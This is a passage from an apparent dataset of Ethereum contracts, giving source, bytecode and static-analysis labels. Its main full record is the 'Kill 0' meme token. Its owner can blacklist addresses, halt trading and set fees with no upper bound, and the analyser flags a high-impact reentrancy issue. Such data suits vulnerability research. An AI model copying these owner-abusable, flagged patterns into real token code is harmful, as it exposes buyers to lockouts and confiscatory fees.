0020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061137782600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d790919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115c457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561160057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156116cc57fe5b818303905092915050565b600081830190508281101515156116ea57fe5b809050929150505600a165627a7a72305820c07e101130377db95b6b2590dd036b1fc1c747004d3174bcb58259130e39a4830029
{"success": true, "error": null, "results": {}}
465
0xa32799f1ccae85a8349797f1779bd9964f291ceb
// SPDX-License-Identifier: Unlicensed //Born to kill 0, we only pursue multiples, we don't care about anything else, the only goal, kill all 0, let's get to 1 USDT! //We are Meme coins, and the essence of Meme culture is to be small. This is our original intention. //We are fed up with the gimmicks. Simple, exquisite, dream, freedom, self, great! //Supply: 100,000,000,000 (100%) //Burn: 50,000,000,000 (50%) //Liquidity: 5 ETH pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KILL is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Kill 0"; string private constant _symbol = "K0"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 5; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x594D4c77E8768CED1D6F12d97bc73f3ae236953e); address payable private _marketingAddress = payable(0x594D4c77E8768CED1D6F12d97bc73f3ae236953e); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000001 * 10**9; uint256 public _maxWalletSize = 1000000001 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610550578063dd62ed3e14610570578063ea1644d5146105b6578063f2fde38b146105d657600080fd5b8063a2a957bb146104cb578063a9059cbb146104eb578063bfd792841461050b578063c3c8cd801461053b57600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b411461048057806398a5c315146104ab57600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611950565b6105f6565b005b34801561020a57600080fd5b5060408051808201909152600681526504b696c6c20360d41b60208201525b6040516102369190611a15565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a6a565b610695565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b5068056bc75e2d631000005b604051908152602001610236565b3480156102d957600080fd5b5061025f6102e8366004611a96565b6106ac565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610236565b34801561032b57600080fd5b5060155461028f906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611ad7565b610715565b34801561036b57600080fd5b506101fc61037a366004611b04565b610760565b34801561038b57600080fd5b506101fc6107a8565b3480156103a057600080fd5b506102bf6103af366004611ad7565b6107f3565b3480156103c057600080fd5b506101fc610815565b3480156103d557600080fd5b506101fc6103e4366004611b1f565b610889565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611ad7565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b031661028f565b34801561045657600080fd5b506101fc610465366004611b04565b6108b8565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b5060408051808201909152600281526104b360f41b6020820152610229565b3480156104b757600080fd5b506101fc6104c6366004611b1f565b610900565b3480156104d757600080fd5b506101fc6104e6366004611b38565b61092f565b3480156104f757600080fd5b5061025f610506366004611a6a565b61096d565b34801561051757600080fd5b5061025f610526366004611ad7565b60106020526000908152604090205460ff1681565b34801561054757600080fd5b506101fc61097a565b34801561055c57600080fd5b506101fc61056b366004611b6a565b6109ce565b34801561057c57600080fd5b506102bf61058b366004611bee565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c257600080fd5b506101fc6105d1366004611b1f565b610a6f565b3480156105e257600080fd5b506101fc6105f1366004611ad7565b610a9e565b6000546001600160a01b031633146106295760405162461bcd60e51b815260040161062090611c27565b60405180910390fd5b60005b81518110156106915760016010600084848151811061064d5761064d611c5c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068981611c88565b91505061062c565b5050565b60006106a2338484610b88565b5060015b92915050565b60006106b9848484610cac565b61070b843361070685604051806060016040528060288152602001611da0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111e8565b610b88565b5060019392505050565b6000546001600160a01b0316331461073f5760405162461bcd60e51b815260040161062090611c27565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078a5760405162461bcd60e51b815260040161062090611c27565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107dd57506013546001600160a01b0316336001600160a01b0316145b6107e657600080fd5b476107f081611222565b50565b6001600160a01b0381166000908152600260205260408120546106a69061125c565b6000546001600160a01b0316331461083f5760405162461bcd60e51b815260040161062090611c27565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b35760405162461bcd60e51b815260040161062090611c27565b601655565b6000546001600160a01b031633146108e25760405162461bcd60e51b815260040161062090611c27565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092a5760405162461bcd60e51b815260040161062090611c27565b601855565b6000546001600160a01b031633146109595760405162461bcd60e51b815260040161062090611c27565b600893909355600a91909155600955600b55565b60006106a2338484610cac565b6012546001600160a01b0316336001600160a01b031614806109af57506013546001600160a01b0316336001600160a01b0316145b6109b857600080fd5b60006109c3306107f3565b90506107f0816112e0565b6000546001600160a01b031633146109f85760405162461bcd60e51b815260040161062090611c27565b60005b82811015610a69578160056000868685818110610a1a57610a1a611c5c565b9050602002016020810190610a2f9190611ad7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6181611c88565b9150506109fb565b50505050565b6000546001600160a01b03163314610a995760405162461bcd60e51b815260040161062090611c27565b601755565b6000546001600160a01b03163314610ac85760405162461bcd60e51b815260040161062090611c27565b6001600160a01b038116610b2d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610620565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610620565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610620565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610620565b6001600160a01b038216610d725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610620565b60008111610dd45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610620565b6000546001600160a01b03848116911614801590610e0057506000546001600160a01b03838116911614155b156110e157601554600160a01b900460ff16610e99576000546001600160a01b03848116911614610e995760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610620565b601654811115610eeb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610620565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2d57506001600160a01b03821660009081526010602052604090205460ff16155b610f855760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610620565b6015546001600160a01b0383811691161461100a5760175481610fa7846107f3565b610fb19190611ca1565b1061100a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610620565b6000611015306107f3565b60185460165491925082101590821061102e5760165491505b8080156110455750601554600160a81b900460ff16155b801561105f57506015546001600160a01b03868116911614155b80156110745750601554600160b01b900460ff165b801561109957506001600160a01b03851660009081526005602052604090205460ff16155b80156110be57506001600160a01b03841660009081526005602052604090205460ff16155b156110de576110cc826112e0565b4780156110dc576110dc47611222565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112357506001600160a01b03831660009081526005602052604090205460ff165b8061115557506015546001600160a01b0385811691161480159061115557506015546001600160a01b03848116911614155b15611162575060006111dc565b6015546001600160a01b03858116911614801561118d57506014546001600160a01b03848116911614155b1561119f57600854600c55600954600d555b6015546001600160a01b0384811691161480156111ca57506014546001600160a01b03858116911614155b156111dc57600a54600c55600b54600d555b610a698484848461145a565b6000818484111561120c5760405162461bcd60e51b81526004016106209190611a15565b5060006112198486611cb9565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610691573d6000803e3d6000fd5b60006006548211156112c35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610620565b60006112cd611488565b90506112d983826114ab565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132857611328611c5c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611381573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a59190611cd0565b816001815181106113b8576113b8611c5c565b6001600160a01b0392831660209182029290920101526014546113de9130911684610b88565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611417908590600090869030904290600401611ced565b600060405180830381600087803b15801561143157600080fd5b505af1158015611445573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611467576114676114ed565b61147284848461151b565b80610a6957610a69600e54600c55600f54600d55565b6000806000611495611612565b90925090506114a482826114ab565b9250505090565b60006112d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611654565b600c541580156114fd5750600d54155b1561150457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061152d87611682565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061155f90876116df565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461158e9086611721565b6001600160a01b0389166000908152600260205260409020556115b081611780565b6115ba84836117ca565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115ff91815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d6310000061162e82826114ab565b82101561164b5750506006549268056bc75e2d6310000092509050565b90939092509050565b600081836116755760405162461bcd60e51b81526004016106209190611a15565b5060006112198486611d5e565b600080600080600080600080600061169f8a600c54600d546117ee565b92509250925060006116af611488565b905060008060006116c28e878787611843565b919e509c509a509598509396509194505050505091939550919395565b60006112d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e8565b60008061172e8385611ca1565b9050838110156112d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610620565b600061178a611488565b905060006117988383611893565b306000908152600260205260409020549091506117b59082611721565b30600090815260026020526040902055505050565b6006546117d790836116df565b6006556007546117e79082611721565b6007555050565b600080808061180860646118028989611893565b906114ab565b9050600061181b60646118028a89611893565b905060006118338261182d8b866116df565b906116df565b9992985090965090945050505050565b60008080806118528886611893565b905060006118608887611893565b9050600061186e8888611893565b905060006118808261182d86866116df565b939b939a50919850919650505050505050565b6000826000036118a5575060006106a6565b60006118b18385611d80565b9050826118be8583611d5e565b146112d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610620565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f057600080fd5b803561194b8161192b565b919050565b6000602080838503121561196357600080fd5b823567ffffffffffffffff8082111561197b57600080fd5b818501915085601f83011261198f57600080fd5b8135818111156119a1576119a1611915565b8060051b604051601f19603f830116810181811085821117156119c6576119c6611915565b6040529182528482019250838101850191888311156119e457600080fd5b938501935b82851015611a09576119fa85611940565b845293850193928501926119e9565b98975050505050505050565b600060208083528351808285015260005b81811015611a4257858101830151858201604001528201611a26565b81811115611a54576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a7d57600080fd5b8235611a888161192b565b946020939093013593505050565b600080600060608486031215611aab57600080fd5b8335611ab68161192b565b92506020840135611ac68161192b565b929592945050506040919091013590565b600060208284031215611ae957600080fd5b81356112d98161192b565b8035801515811461194b57600080fd5b600060208284031215611b1657600080fd5b6112d982611af4565b600060208284031215611b3157600080fd5b5035919050565b60008060008060808587031215611b4e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b7f57600080fd5b833567ffffffffffffffff80821115611b9757600080fd5b818601915086601f830112611bab57600080fd5b813581811115611bba57600080fd5b8760208260051b8501011115611bcf57600080fd5b602092830195509350611be59186019050611af4565b90509250925092565b60008060408385031215611c0157600080fd5b8235611c0c8161192b565b91506020830135611c1c8161192b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c9a57611c9a611c72565b5060010190565b60008219821115611cb457611cb4611c72565b500190565b600082821015611ccb57611ccb611c72565b500390565b600060208284031215611ce257600080fd5b81516112d98161192b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d3d5784516001600160a01b031683529383019391830191600101611d18565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9a57611d9a611c72565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204dfc4d6a6febff942f49afcac0404ff328781c2664f52fd421848afdf46f8e1864736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
466
0x65225De03170f31523762975b27e5375d3C2061B
/** *Submitted for verification at Etherscan.io on 2021-10-21 */ /** *Submitted for verification at polygonscan.com on 2021-09-14 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** 